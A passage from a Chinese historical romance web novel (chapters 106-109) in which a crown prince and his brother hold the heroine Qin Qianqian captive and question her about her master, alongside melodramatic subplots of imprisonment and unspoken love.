不然，穆元基甚至都不会出他的王府。
果然，一提到她，穆元基就跟失心疯了一样。他咬牙切齿地警告白邵禾，“有事冲我来，你别想打她的主意。”
白邵禾冷漠一笑，丢下一句“看我心情”，就扬长而去。
这么多年过去，穆元基还是把所有情绪都写在脸上。端坐在屋中的白邵禾，蔑视地嗤笑他，把自己的软肋暴露给敌人，是最为愚蠢的事情。
穆元基拿秦千千威胁他的时候，白邵禾当即就想掐断他的脖子，可他忍了下来。
但穆元基就做不到，只要牵扯到楚风，他就像是一只炸了毛的猫，除了示威，再没有别的手段。
想到秦千千，他低眸盯着还在熟睡的人。这两天他没有一刻心是不痛的，伴随心痛出现的，还有几分恐惧。
他越发担心她之前的说法是正确的：总有人要治她于死地。原本白邵禾以为，他站的够高了，一人之下万人之上，没有人谁会奈何的了他，那他就可以保护好眼前之人。
可现在无不昭示，他的想法错了。
皇上对长生的渴望，远远超出了他的预想，正因为如此，白邵禾才不得不担心皇上会为了找寻长生之法，而下令处死秦千千。
长生本就是个虚无缥缈的事情，而皇上不知道从哪里听来，姜千秋知道那藏满经书卷轴的云岫山位于何处，于是事情的落脚点就落在了秦千千——这个唯一联系的上姜千秋的人身上。
白邵禾此行就是为了见到姜千秋，为此他谋划了很久，做了很多准备。
可他万万没想到的是，自己先叛离了计划。
就连马上要执行的、早就谋划好的绑架逼问，也几乎进行不下去。可他是储君，宫中性命垂危的人是他的父皇，他又怎么能袖手旁观？
如此想来，穆元基在这里也好，最起码能逼迫自己回到征途，不能因为儿女情长坏了计划。
而且白邵禾不相信，姜千秋就能眼睁睁看着她被凌虐至死，既然上次简则明的偷袭都能引出姜千秋，拿这次说不准也可以。
秦千千早上起来，就觉得浑身酸痛，仿佛被人捶打过一顿似的。
看着身边还在睡梦中的白邵禾，她蹑手蹑脚地起床，刚站起来就直犯恶心，她急忙跑出去，结果肚子还撞在门闩上，痛的她小声抽气。
白邵禾悄然睁开眼，不放心地看着她离去背影，眼神中充满了担忧。
她跑去院子角扶着墙呕吐，可因为昨晚什么都没吃，压根没得吐，只能扶着墙干呕。
任楚君和邢历帆听到不对劲，便互相交换了个眼神。任楚君不太会跟人相处，那就只能邢历帆过去。
可他这副狗嘴，又能吐出什么象牙来？
“千千，你们怕不是夫妻不节制，怀上了吧？”
远远听到这话的任楚君，无奈地闭上眼睛，转身回了屋。秦千千扶着泥土夯实的墙壁站了起来，脸色苍白但凶狠地盯着他。
“你他……给我滚！”
“哦。”邢历帆完成任楚君的任务，就准备回去，结果发现房门紧锁，就知道自己这一句话算是得罪了两个人。
秦千千正在用清水漱口，邢历帆又灰溜溜地过来，她吐掉嘴里的水，把水瓢里的水泼到他脚下。
“哎哎哎，干嘛呢！”他可太心疼自己的鞋了，新买的千层底呢！
“不好意思，我怀了孩子脾气比较大！”
她坐在院子中的石凳上回想，肯定是昨天被的有两味药材太难闻，以至于她现在想起还直犯恶心。
邢历帆坐在她旁边，大气也不敢出，但眼神就放肆地打量着她。直到临行前，秦千千都没给过他好脸色。
秦千千挨个跟人道别，终于走到白邵禾面前时，邢历帆还赖在一
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旁不走，在白邵禾对他忍无可忍前，秦千千才出手整治他。
“你为什么看我不顺眼吗？”邢历帆觉得这话，要在白邵禾面前说明白，毕竟在她们分开后，自己可是要跟秦千千避嫌的。
秦千千翻了个白眼，“还能为什么，你也太懦弱了！我讲的话你都听到狗肚子里去了，你是不是还没有跟楚君姐说你们的事情？”
白邵禾脸色不悦，这话怎么听起来像是在指桑骂槐……
“邢大哥，我想跟千千借一步说话。”这算是正式逐客令了，邢历帆滚得飞快。
白邵禾故作轻松地祝她一路平安，微风吹乱她额角的碎发，他毫不顾忌地帮她理好头发。秦千千不再避讳他含情脉脉的眼神，而是第一次正视这般的他。
“也祝你平安。”她笑得眉眼弯弯，还趁他猝不及防时，直接钻进他怀里，双手环住他清瘦的腰，手在他背后轻拍两下。
侧头在他胸前时，秦千千听到了咚咚的心跳声。这个拥抱一触即分，在白邵禾回抱之前，秦千千已经后退撤离了。
“总之，我们岭北见。”她朝白邵禾挥了挥手，转身上了马车。
直到她消失在自己眼前，白邵禾还是一副没有缓过来的表情，他凝望着她们离开的方向。直到元德过来喊他离开，他这才上了车。
远远观望的穆元基可是看得清楚，他心中冷哼一声，这穆轩岚不跟自己半斤八两吗？只不过他比自己会装而已。
离了秦千千，白邵禾就很少说话，整个车上除了桃花花偶尔跟冬芸说几句话，就再没人说话了。三个马夫全都安置到了这边，可秦千千她们却带走了两个马车。
于是三个马夫在前面聊的是热火朝天的，轿子中的氛围可谓是安静到了极点。
“桃花姐姐，千千姐怎么不跟我们一起了呢？”冬芸这两天一直找不到机会跟白邵禾说话，因此自然也没办法告诉他，关于那个问题的答案。
之前在隆北道翻山时，他曾经让自己帮忙看，秦千千喜不喜欢他。彼时冬芸还没看出来，可她今天看的真切，两个人相拥时，秦千千抽动了一下鼻子。
这让她更加确定，千千姐的心意。
桃花花眼神黯淡，她从袖子中抽出一个东西，看到那东西的时候，白邵禾眼神中全是震惊，怎么是秦千千随身携带的那把短剑！
“这怎么会在你这里？”他来不及想什么，直接问她。
“千千说怕她自己会弄丢，所以才交给我保管的。”桃花花语气颤抖，眼眶湿润。“可这是我们主人给她保命的东西，她就这么给我了……”
她泣不成声地低头落泪，桑风雪把她揽在怀里安慰她。
“放心，她肯定不会有事的。”
冬芸也伸手帮她擦去脸上的泪水，可谁知越擦眼泪掉的越凶猛。
桃花花抽噎着跟她们解释：“不是的，这就是酒楼传承的信物，也就是说，从现在开始她不再是清风酒楼的人了。”
白邵禾脑中一片空白，也就是说，她现在就是一个毫无还手之力的弃子了。
106. 你俩到底谁折磨谁
清风酒楼的线人不会再庇佑她，姜千秋也不会再暗中与她同行。想到这里，白邵禾浑身发凉，他得赶紧想办法从这边脱身。
若是让穆元基抓到她，那麻烦就大了。
为了安全起见，穆元基其实是奔袭了百里去见穆轩岚的。而他原本不愿意掺和穆轩岚的这档子事儿，只不过楚风突然提出她想出来走走。
虽说他日日囚禁着楚风，可能跟楚风攀谈的机会是少之又少，现如今她主动提出要求，哪怕是摘天上的星星，他也得试试。
可带着楚风这个身手矫健的高手到处跑，穆元基也怕她逃脱，上次她逃走十几天，现在自己想起来还心有余悸。
因此，穆元基这次把楚风安置进，自己早就布置好的宅邸中。那宅子被他的人围了个水泄不通，再加上他日日喂楚风喝软筋散，她有武功也使不出来。
一切准备停当后，他这才敢离开楚风，去找穆轩岚。
紧赶慢赶两天才回去，刚到光恒府，他什么都顾不得，直接往后宅的密室赶。看到楚风端坐在布置华美，甚至让人分不清这是地上地下的时候，他才长出了一口气。
“现在几时了？”楚风开口问他，冷淡的语气古井无波，任谁都能听出两分凉薄，可穆元基习惯了，他面带笑意地坐在她身旁。
不管她的厌恶，直接抓住了她的手。
“别管几时，我反正来陪你了。”
楚风平日里不跟任何人交谈，穆元基也不给她派丫鬟侍卫，之前给她派的有，却都被她练手一般给杀了。
杀几个人而已，穆元基不在乎她杀了多少人，只是他不想看到楚风满身血迹、嗜血狠戾的样子。
现如今，穆元基有空就会陪她；没空，楚风都是一个人独处。
像今天这种，她主动跟自己谈话的情况，放在之前穆元基根本不敢想。
“你喜欢这里吗？比起王府，你若是喜欢这里的话，我们就留在这里。”穆元基满眼希冀地看着她，收获的却是一个漠然抵触的眼神。
楚风嗤笑：“有区别吗？我在哪里不是过着暗无天日的日子？穆元基，你是把我当做囚犯是吧？”
看着她一脸恼怒的表情，穆元基却发自肺腑地笑了，他已经很久没有见到，楚风情绪如此波动的时候了。
这既让他兴奋，又让他隐隐有些不安。
上次她逃脱前，就是突然对自己转了性，甚至还跟自己一同去王府花园赏花，可是第二天她就逃走了……
穆元基脸上眉开眼笑的，可心里的弦绷得是越发紧了。
“不，过两天我就看看，我到底是怎么对付囚犯的。”
楚风长时间不见太阳，本就白皙的皮肤就更加苍白。她脸上流露出一丝不解，让穆元基看了心疼不已。
他抬手摩挲楚风的脸颊，安慰她不要难过。看她乖巧听话，任自己抚摸的样子，穆元基心中更是确定，她怕是又要准备搞事了。
不出两日，秦千千她们就解救了十几个孩子，这次一共斩杀人贩子七人。王老怪仔细检查，的确没有从这些人身上找到梦隐香。
“看来这些人是运送孩子，而不是负责交易贩卖的。”秦千千被歹徒踹伤了胳膊，她龇牙咧嘴地揉着自己的胳膊，站在岸边分析。
任楚君、邢历帆还有王老怪，接力把孩子从船舱中都抱出来，秦千千让孩子们聚集在岸边，看她们那边完事儿后，才赶紧让所有孩子上了马车。
邢历帆拿出那些烧饼，分发给孩子们，王老怪检查过她们没有大碍后，才过去帮秦千千看胳膊。
“你的至元丹还有几颗，这几天吃了吗？”王老怪想起来就会提醒她一下，毕竟剩下的白艿粉不多了，她这种易受伤体质，真是让他胆战心惊的。
“吃了吃了，我这天天当饭吃呢。”秦千千挽起袖子给他看已经青紫的小臂，王老怪惊讶地抬头看了眼她：“这么严重？放在往常你不得嚎到所有人都知道。”
听出这是在打趣自己，秦千千也不恼，她笑着感叹：“怪不得主人喜欢为人打抱不平，这种感觉太好了。”
看着眼前被救出来的孩子，别说秦千千，就连平时天天治病救人的王老怪，心中也是感慨无限。再加上她提的姜千秋，王老怪更是毫不掩饰自己对她的钦佩。
“是啊，咱们只能通过这些事情，窥得一些阁主的日常。”
这些孩子虽然都收到了惊吓，但好在记忆都没有出问题，秦千千她们一行人驾着马车奔走，把孩子都送回她们的家。
光是送孩子，就又折腾了一天。看着最后一个孩子回家，搀扶起跪在地上谢她们的父母，秦千千她们坐上马车离开。
两架马车，任楚君邢历帆一架、王老怪秦千千一架。
中途颠簸的秦千千头晕，她提议停下来歇歇。
看不远处有个池塘，她就想过去洗把脸，结果就在去的途中，任楚君她们眼睁睁看着她被几个人劫持，而后飞速离去。
任楚君和邢历帆顾不得那么多，松了马套，让王老怪守着这里，她们两个人上马追去。
结果可想而知，穆元基派去的人都是有备而来，骑的马匹都是精挑细选出来的好马，自然不是她们两匹货马追得上的。
在原地焦急等待，来回踱步的王老怪，无意间看到从自己袖子中甩落的一张纸条。
【勿追，生死有命，望三位珍重】
王老怪双腿发软，直接瘫倒在地上，怪不得她选这个空旷的地方下车，是不想让她们三人受到连累吧？
秦千千被按在马背上，颠簸的马脊骨撞得她想吐，她心中暗骂这些人真是不讲道义，怎么不知道把她砍晕了再劫持呢？
好在她很快如愿，那人一手刃砍晕了她。
再睁眼时，她发现自己被特质的四个铁环锁住手脚，每个铁环又各连接了根铁链，铁链末端固定在身后的地上。
秦千千环顾四周，发现这是一间密室，看起来空旷的很。门外透过来的一些跃动的光影，除了蜡烛燃烧的哔啵声，这里静得吓人。
她索性再度躺在地上，这两日的奔波着实让她累得不行。
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他既然要装神秘，那秦千千就决定借这个时间休息一下。
秦千千醒的消息立马传到了穆元基那里，他嗤笑一声，准备过去跟她碰碰面。盯着药碗发呆的楚风，神情一滞，提出她也跟着去。
“没必要了楚风，到时场面血腥，我怕……”穆元基好声好气地跟她说，却被楚风一下子打断。
她瞪着穆元基，几乎是咬牙切齿地说：“穆元基，我之前是一个杀手，这种场面我会怕吗？”
囚禁她这么久，穆元基的确把这件事情给忘了。鉴于自己有错在先，他能讨楚风开心的事情，也就只有顺着她的心意办事。
于是，两个人同行往密室走。
楚风心里只觉得讽刺，她昨日刚从密室中出来，今日穆元基就抓了秦千千进密室。
就这穆元基还说，是对她好才放她出来，现在看起来更像是要给别人腾地方吧？反正不管穆元基说什么、做什么，在楚风看来都别有用意。
穆元基不喜欢两个人独处时她的沉默，那总让他有种说不上来的心慌，于是在去密室的路上，他跟楚风讲起了这两天的事情。
穆轩岚明明有好多个机会下手，可他就是任由机会一次又一次地错过。
两拨人刚分道扬镳时，他可以下手的，但他没有；秦千千她们偷袭人贩子前后，穆轩岚的人照样可以下手，他还是没有下令动手……
“虽然我没跟他联系，但我都能知道他要找什么借口。刚分开时肯定是因为容易打草惊蛇，不宜妄动；偷袭人贩子前，肯定是因为她们要做大事，不适合动手；偷袭后，那不得让她们好好歇歇……总之就是一句话，他还是下不了手。”
穆元基越说情绪越激动，他心中也明白，若是换做是他，他也不会动手的。
楚风冷眉扫了他一眼，道出一个她发现的真相：“你一提起穆轩岚，情绪就十分激动。”
这不是问话，而是肯定的结论。
穆元基心中甚是慌乱，本来他就跟穆轩岚不对付，上次加上他又差手下放走了楚风，他简直要恨死穆轩岚了。再加上上次穆轩岚还拿楚风要挟他……
他简直不敢从楚风嘴里听到那三个字，于是他罕见地冷了脸，一把攥住楚风的手腕，把她往密室里带。
“呦，我当时穆轩岚呢，原来是我们五王爷穆元基啊。”秦千千盘腿坐在密室正中央，看着来人幽幽开口。
她倒是惬意的很，仿佛是她设宴宴请他们来的一样……
穆元基本来就生气，见她一个阶下囚，还敢这么嚣张，自然是恼羞成怒。
“你大胆！本王的名讳也是你能叫的？”穆元基一招手就唤进来几个人，还没等他说出要怎么样秦千千，秦千千就施施然地开口。
“哦，我忘了！现在不是你当初，涕泗横流就差跪下来，求我帮你找人的时候了。”
秦千千面带笑意地起身，奈何铁链太重，她只能手撑着地面，像个刚学会站立的孩童般起身，然后一步一步朝他们走去。
“这位就是，楚风楚大侠吧。”
107. 特制的审讯房间
楚大侠这三个字，楚风已经很久没有听到过了，她微微蹙眉盯着秦千千。
穆元基在一旁也不做声，他知道那铁链决定了秦千千走不到她身边。
果然，没走出几步，她就被扯住了手脚。秦千千也不恼，她就站定在原地，上下打量着眼前的两个人。
“你不要在那里信口雌黄，小心本王让人拔了你的舌头。”穆元基恶狠狠地威胁她，显然就是怕秦千千把他那事儿抖落出去。
秦千千直了直腰身，左右活动一下脖子，仿佛吩咐下人一样吩咐他：“让你的那些人出去吧，他们要是在这里听到一些有的没的，那我可管不了了哦。”
“你……”穆元基气势汹汹地要过来打她。
秦千千双手环抱在胸前，她现在死都不怕了，还怕这些皮肉之苦吗？
楚风一反常态，拉住了穆元基的胳膊，“你不是要问她事情吗？正事要紧。”
穆元基一时间不知道该震惊什么，是该惊讶她说的对，还是她终于对自己的态度缓和了。
他心中怒火全无，这才心平气和地看向秦千千，可她哪是个善茬，她一边后退一边说出自己的诉求。
“我要见穆轩岚。”
“他是你想见就能见的？你先告诉我，你是怎么联系上姜千秋的。”穆元基直接开门见山，他不想让楚风在这里多待，这里湿气重，对她身体不好。
楚风一进来就发现，这并不是自己待的那个密室，这里更像是地牢。
可秦千千表情悠然，完全不像是这污浊的囚笼中困着的人。
“我当然想见就见。”她还在往后面退。
穆元基没看明白她要干什么，也没听懂她话中的意思。楚风眼神一凛，她知道秦千千要干什么了，可她什么都没有说。
一切就发生在刹那之间，秦千千转头直接朝墙壁直直撞去，穆元基阻挡不及，只能眼睁睁看着刚醒的人，又昏倒在地上。
她竟然敢威胁自己！
穆元基怒火中烧，但又不能真的看她去死，只能派人叫大夫。他还专门吩咐手下，这事儿千万不能让穆轩岚知道。
要是让他知道，后果不堪设想。
“不能让谁知道？”穆轩岚的声音从身后响起，吓得穆元基浑身僵硬。
他转头看到伫立在那里的穆轩岚和元德，膝盖都有些发软，只能尴尬地清了清嗓子：“皇兄，你怎么来了？”
穆轩岚没空听他废话，但现下他又不能直接进去见秦千千，就只能沉着脸问穆元基里面发生了什么。
“那个疯子自己撞上了墙，刚醒过来没多久就又昏过去了。”
元德浑身一僵，这的确是秦千千能做出来的事情，他有些急躁地看向殿下，殿下紧锁的眉头暴露了他的真实想法。
穆轩岚盯着向下延伸的阶梯，没等穆元基说什么，就直接遁入那片黑暗中，元德立马跟了上去。穆元基叮嘱侍卫快去叫人，自己也跟着他们主仆二人。
楚风还在里面，他得下去保护她！
穿过昏暗的走道，拐进那件密室。映入穆轩岚眼帘的，就是躺在地上的秦千千和跪在她身边的人，他想都没想就跑了过去。
两天不见，他总觉得秦千千憔悴了很多，而她头上还在汩汩流血的伤口，更让人触目惊心。
他从怀中掏出手帕，小心翼翼地给她擦拭着伤口，可那伤口的血就是止不住。穆轩岚想起秦千千跟他说的话，得用白艿粉！
“去找她的包袱，里面有药。”
得了命令的元德立马要走，可穆元基却杵在原地看着地上的三人，他很担心楚风。
楚风完全没心思看他，她一门心思都在地上昏睡不醒的人身上。
收到穆轩岚的一记眼刀后，穆元基只能赶忙带着元德去找药。
一旁安静许久的楚风看着穆轩岚，看他从地上扶起秦千千，把人搂在怀里，又动作轻柔地用手帕捂住她额角的伤口。
这些动作，再加上穆元基跟她说的话，楚风怎么会看不懂情况。
“果然，殿下的确很珍重她。”
穆轩岚面色不善地扫了她一眼，不知道她现在说这话是什么意思。不断失血导致她现在身体微凉，察觉到这点，他又把人往怀里搂紧了一些。
“可若我是殿下，此时断不会与她见面。若是她撞破了殿下的秘密，她是该为自己处境心碎，还是为了你的那些谎言而绝望呢？”
楚风的话犹如一把利剑，直直扎在穆轩岚的心上。可他现在不可能放下这样的她，独自离去。
他日夜兼程把桑风雪她们送去岭北，再一刻不停地赶到这里，不是为了来袖手旁观的。
“我们之间的事情，不需要你多言。”穆轩岚让昏迷的人倚在自己胸口，长手一捞就把她抱了起来。
这里阴冷潮湿，穆元基怎么敢把她关到这里的。
穆轩岚心中藏着怒火，抱着人准备离开，楚风却跟在他们身后，不疾不徐地扔出平地惊雷。
“那殿下也不顾她的死活吗？”
“本王不让她死，谁敢动她。”穆轩岚耐心告罄。
之前秦千千几次三番说这个事情的时候，他心中就颇为不悦，更别说现在是她楚风，一个不痛不痒的人说这个了。
看着越发愠怒的人，楚风只好长话短说，再不说，穆元基就要回来了。
“殿下一再心软，一再退让，若是问不出皇上想要的东西，那别说她一个弱女子，就连清风酒楼，还能存活于世吗？”楚风从地上起身，悄然叹了口气。
“殿下，你今日对她的仁慈，来日将会酿成大祸。”
穆轩岚眼神复杂，他没想到穆元基居然什么都跟楚风说了……
她现在说的事情，穆轩岚不是没想过，他总觉得自己能说服父皇，不管用何种手段，他一定会保住秦千千的。
哪怕，以死相逼。
穆轩岚抱着人往楚风的方向走了一步，出于谨慎，她后退了一步。
“千千对你有恩？”他目光如炬，看得楚风来不及敛藏情绪。
只表情慌乱的一瞬，就让穆轩岚窥探到
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了真相。
他抱着秦千千大步流星地出门，赶回来的元德拿着药粉，先给她额头撒上白艿粉，三人这才离开。
穆元基赶紧冲进密室问她怎么样，楚风面色如常，就是盯着自己手上的血迹在发呆。
“没事，我累了，要去休息一会儿。”
大夫手脚麻利地给她包扎好伤口，神情却是非常严肃。看着大夫的表情，元德让他有话快说。
“公子，这小姐撞上的淤血太大，保不齐脑子会出问题。若是她醒来头晕干呕的话，那情况就严重了，说不准……”
穆轩岚掀起眼帘看着他，那大夫赶紧从床边起身，麻利地跪在地上，一哆嗦全给说了。
“情况好一些，会暂时失明；情况若是严重，那可能整个人就傻了。再也醒不过来，也是有可能的。”
穆轩岚偏头脸颊抵在她额角上，挥了下右手，元德带那大夫离开，他这才牵起秦千千的手，眼中满是怜惜。
两天前分开时，人还是好好的，现在却成了这幅样子。
“我该拿你怎么办。”穆轩岚轻声说道，他低眸看着她手腕上的缚布，眼神又冷峻了一分。
她在穆元基这里受的伤，自己早晚要还给穆元基。
第二日，穆轩岚抱着秦千千从房中出来。元德已经按照殿下的吩咐忙了一晚上，一切准备就绪，这才敢去通知殿下。
一夜时间也让穆轩岚彻底想清楚了，把她交给任何人自己都不放心，那倒不如自己来。
最起码，他不会让她有性命之忧。
不过，哪怕有些皮肉之苦，也是为了日后能保住她的性命。
他不愿意把审讯地点放在密室，便差人把那个屋子的窗户都封死，门也用不透明的木板挡起来。外面的光透不进去一点，因此自然分辨不出，这里是地上地下。
屋子外暗卫重兵把守，闲杂人等，包括穆元基都不准靠近。而束缚她的物件，也都是费尽心思。就连绑手脚的镣铐，上面都裹了最柔软的布料。
地上全部铺设了地衣，墙壁上的防护更是比地面还厚，就是怕她想不开自残。
穆轩岚检查过所有地方后，这才把她放在没有床框的床榻上，他亲自动手给秦千千换好药后，这才接过那瓶至元丹，倒出两粒放进她嘴里。
“任楚君和王老怪现在在哪里？”
桑风雪桃花花这边，暗卫密切观察着，暂时没有什么异常。这两天他忙的没空听王老怪那边的情况，只要他们不按照线索追查过来，那问题就不大。
“殿下，老板被抓之前给她们留了纸条，因此她们现在重点在救那些孩子。”元德想起什么，就顿了一下，“跟着晏信的暗卫也来了消息，他收到了老板送他的礼物，还有两句话。”
不用说，那礼物肯定是那串项链，穆轩岚现在已经不在乎那个了。他看到秦千千左手还带着那玉镯，就阴沉着脸想把镯子取下来。
结果一用力，镯子没取掉，昏睡中的秦千千却痛得抽气。
“罢了，那两句话是什么？”
108. 你管这叫审讯？
“千里情谊，望君珍重。”元德说完，就抬眼瞄了下殿下的神情，看他神色如常的样子，这才悄然缓了口气。
穆轩岚心中不爽极了，他宁愿秦千千做个负心人，也不愿意她这般处处为人。
自己跟她分开后能得到什么呢？
越想他越妒火中烧，心中有个不服的声音在叫嚣。
“白公子，危险！”谁梦中的秦千千一阵惊厥，还呢喃着他的名字。
原本以为殿下的神情会好些，可谁成想，元德看着殿下冷若冰霜的脸色，大气都不敢出。
她的确是记挂着自己，可那并不是自己的名字。穆轩岚也觉得自己大抵是疯了，他现在常常会没有由来的生气。
要知道，最初他的计划只是与她做个朋友。现在看，这个目的早就达到了，可人总是不知足的。他现在想跟她坦诚以待，听她唤自己的真名。
许是无意间攥痛了她，秦千千皱着眉头反握住了他的手，穆轩岚心下一惊，抬头看到她被黑布束上的眼睛，这才把心放到肚子里。
不管她眼睛有没有问题，他都不能让秦千千看到自己的脸。
他想要坦诚，但不是现在。
“你是谁？”秦千千猛地起身，可胳膊臂弯处被束缚在床榻上，这让她完全没有办法坐起来，她又失控地朝后面倒去。
可她右手却抓住人不松，穆轩岚无声浅笑，她胆子可真是够大的。
前有被穆元基抓还跟他吵架，现在不知道自己是谁都敢抓住自己不放。
“你不是要见我？怎么，要跟我说实话吗？”穆轩岚故意沉了些嗓音，饶有兴致地问她。
看她没有出现大夫说的那些反应，他算是放了些心。
秦千千疑惑地歪了歪头，可惜透过黑布她什么都看不到，她只能松手，呆呆地望着房顶。
“原来是储君殿下啊，您现在终于想开来见我了？”
听出她还在揶揄自己，肯定是没有忘记那次“不见之仇”，穆轩岚无奈地摇头，这事何时才能正式翻篇呢？
听他不回答，秦千千还以为他走了，就准备再度挣扎起身，结果被人伸手按住肩膀。
“你知道我想问什么，无论什么条件我都可以答应你，只要你，帮我引荐姜千秋。”
秦千千咬了下有些干涩的嘴唇：“那你先把我放了。”
“这个不可能。”穆轩岚很乐意陪她见招拆招，可秦千千却不玩了。
她沉吟良久，开口提出了自己的条件。
“想必殿下的人与我们一路同行，了解到了很多事情，所以我提出的要求，跟我途中所有的经历都有关系，殿下不妨听了，再决定要不要同意。”
首先，她要穆轩岚承诺，不许攻打纵虎岭；其次是脂粉斋、跌仙泉、枫林镇，提到的这些地方，都不准查处。
纵使他对她再纵容，听到她这无理的要求，还是笑出了声。按照她这意思，这其中藐视朝廷的廊坊，他也要无视？
“你觉得我会同意吗？”穆轩岚反问她。
秦千千砸么了一下嘴，老实地回答：“不会，只不过希望你好好考虑一下。”
嗯？
听起来怎么像是他被捆在床上动弹不得？
一旁的元德也抿紧了嘴，秦千千这松弛的心态，真让人不服不行。都这时候了，她还有心情跟人逗乐子呢！
穆轩岚的手顺着她的小臂，往上游走，停顿在锁住她臂弯的机关处。他手指点了点，确信秦千千知道他的意思。
自从他手抚上自己的胳膊，秦千千身体就有些僵硬，她早就认清自己任人宰割的地位，可没想到是这种凌辱。
“储君殿下，你大可以严刑拷打，而非这般折辱我。”
秦千千尽力往远离他的方向撤，可四肢被固定，她又能逃到哪里去呢？
穆轩岚浅笑一声，她现在才察觉到这个吗？
“若我不是往这方面想，又怎会把你囚在这一方榻上，秦老板怎么此时才想明白？”
他充满玩味的话，却让秦千千胆寒，她咬住自己的下嘴唇，满脑子都是骂人的话。
从中搜寻半天，终于找到两句能听的话。
“殿下，我可是有夫之妇，你不能这么对我。”
穆轩岚本来面带笑意的，听到这话，瞬间黑了脸。
一旁的元德也无奈地闭上眼，原本她的苏醒让殿下心情好些了，这下倒好，全都白费了。
“那个商贾之子晏信？”穆轩岚语气微冷，可秦千千情急之下完全没听出来。
她以为说谁，穆轩岚就会找谁的麻烦。相比之下，还是白邵禾武功更高一些，解决问题的能力更强一些。
“不不不，晏信我是逗他玩的。我相公是白邵禾，你的暗卫没看到，我们在兴江村同床共枕了好几天吗？”
只能说不愧是她，穆轩岚都要被气笑了。事到如今，她还不忘探自己的口风。
好一个“同床共枕”，哪怕看着她瞎掰，他也不能说什么。因为他不管回答是与不是，都能佐证，兴江村也有他的暗卫。
只不过这话，还是让他心情舒坦了一些。
“都说先礼后兵，我现在给你一天机会考虑，你要是同意的话，我们就好说。否则，你可以试试。”穆轩岚这话，明摆着就是在威胁她。
可秦千千似乎早就做好了准备，她笑着摇摇头：“殿下，不必等到明天。你要杀要剐，都请便吧。”
听着屋中良久没有回音，秦千千还以为他走了，就悄悄耸了耸肩膀，看看能不能解救出自己的双臂。
“咳。”
穆轩岚故意出声，向她昭示自己还没走，秦千千立马躺得老老实实，不再乱动。
时间久到她都打了个哈欠。
“殿下，你还在吗？”秦千千轻声细语地试探。
“嗯。”
元德莫名有些想笑，这种审讯场景，也是世间少有。
一个在胡言乱语，一个却又无可奈何。
他看得出来，殿下是真不想对她用刑，可秦千千这拒不配合，别说殿下烦闷，他也跟着无奈得很。
“你在等什么？”她还在试探。
“在等月上梢头，然后，我同
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你彻夜深谈。”穆轩岚也跟着她发疯。
他故意说些似是而非的事情，察觉到她悄悄攥紧手，他无声摇头，她就非得逼自己往这边说吗？
“要不这样，你要问我主人什么，你先让我听听。若我有印象，我一定告诉你，可要是连我也没听说过，你就趁早别找她了，真的。”
秦千千这下是真的急了，她甘愿后退一步，求一个和解。
穆轩岚想起他之前问过秦千千，她全然没有听过云岫山，那就更别说其它的事情了。
“不行。”看来不吓唬一下她，还是不行了。“你知道楚风吗？”
秦千千听懂了他话中的意思，顿时屏住了呼吸。难不成这人还准备把自己也囚禁起来，跟楚风一样，做个玩物吗？
“殿下，我可没有她生命力那么顽强。给我吊命的白艿粉应该就没有了，而那至元丹，我没记错的话应该也只剩三四粒了。”
为防他不知道，秦千千还贴心地跟他解释，没了这些药，她身上但凡出现一个小伤口，都会血流不止。
“……”
穆轩岚被气得面色铁青，她这是抱着必死的决心入局啊！若不是遇到自己，她能不能活过这四五天，都是问题。
可一旁的元德却捕捉到了关键信息，但他不敢说。夜半时，他才把自己的想法告诉守在床边的殿下。
“殿下，想留住她的性命，我们就只有这几天能利用的了。”
元德终究还是没有把话挑明，他想说的是，对秦千千动手的时机，也就只有这几天了。
穆轩岚何尝不知道这个事情，暗夜中他眸色深沉，只能无奈地下定决心。
第二天，楚风过来探望她，其实是带她上厕所，梳洗换衣什么的。原本楚风还以为，她会祈求自己放了她，可那些事情并没有发生。
“你为什么不想着逃跑呢？”
楚风被勒令不许说穆轩岚的身份，她也不愿意看着秦千千在自己眼前心碎，就瞒下了这事儿。
在她看来，比起穆元基对自己的严加看管，穆轩岚这个传闻中的罗刹阎王，对她才是真正的呵护备至。
不管形式再怎么急迫，昨天还是陪她闹了一整天。
楚风想，她若是再心思机敏一些，或者更冷静一些，是不是就能想到，那个绑架她却陪她胡闹的人，就是她的身边人呢？
可她也不忍苛责秦千千，这种处境，她自己也很清楚，人很难冷静思考。
“因为我想明白了，你不是我，你不懂我的处境。我留在这里，可能死的是我一个人；可若是我逃跑了，或者说了不该说的，那死的就是无数人。”
她虽然被蒙着眼，但楚风依然能感受到她的哀伤。她张了张口，最终没有发出一丝声音，她不知道要怎么安慰她。
果然人和人是不一样的，楚风一心想自由，她无法想象，一个人究竟背负了什么，才能如此坦然地赴死。
听到她的这番话，穆轩岚心中也很不是滋味。
与她同行两个月，他也发现了，秦千千大大咧咧外表下，掩藏的其实是无边的悲凉。
109. 悲从何来
至于悲从何来，他却无从得知，秦千千似乎也没打算告诉任何一个人。
元德过来跟他汇报消息，最让他们担心的事情还是发生了。
“也就是说，现在清风酒楼的确把所有的人力物力，都用来保护桑风雪和桃花花她们了。至于姜千秋的行踪，我们尚未可知。”
元德心中升起一股担忧，他真的无法想象，秦千千作为培养多年的继承人，就这么说抛弃就抛弃了？
还是说那些人指望，她自己从龙潭虎穴中杀出重围，这是万不可能的。
穆轩岚的心情也同样复杂，也就是说，今天必须要对她上些手段了。虽然不忍，但没有别的办法。
在他准备去守着她吃饭的时候，穆元基神采奕奕地出现了，他手中捧着的一卷黄纸，一看就是宫中皇上送来的。
“皇兄，父皇说让你在一旁歇着，审讯的事情让我来。”
本以为他这次照旧不看圣诏的，可这次穆轩岚却接过那诏书，仔细端详了个清楚。看罢后，他点头应允，不过也提出了自己的意见。
“凡事要有分寸，而且全程我都会在场。”
算是提议，也算是要挟。
穆元基点头默许，他心中自有计较。到时候要是问不出来东西，他就是活生生把人打死，闹到皇上面前，他也是有理的。
刚刚洗漱完毕，秦千千还没吃完手中的一个包子，她就被左右的侍卫架起来，用特制的刑具捆在了屋子中间。
原本她还能姿势舒展地站立，可穆元基故意咳了一声，让人又把绳结收短了一寸。
这下倒好，秦千千左右胳膊被拉直，就连脚也无法平稳落地，只能踮着脚尖勉强站着。可她的态度依旧高傲，还不屑地嗤笑一声。
“呵！”
“很好，看来你身体是恢复好了。现在给你个机会，如是说，你是怎么联系上姜千秋的。”
穆元基派人，给他和穆轩岚抬了两个老爷椅，摆明了要请他看大戏。穆轩岚的脸色十分难看，在屋中跃动烛火的映照下，更加晦暗不明。
“穆元基，我当初就应该让你给我跪下的，然后让那位画师把这场景画成画本子，在江湖上流传。”
秦千千气焰依然十分嚣张，说罢，她嘴角还勾起一抹狂妄的微笑，看得穆元基五脏六腑都要被气炸了。
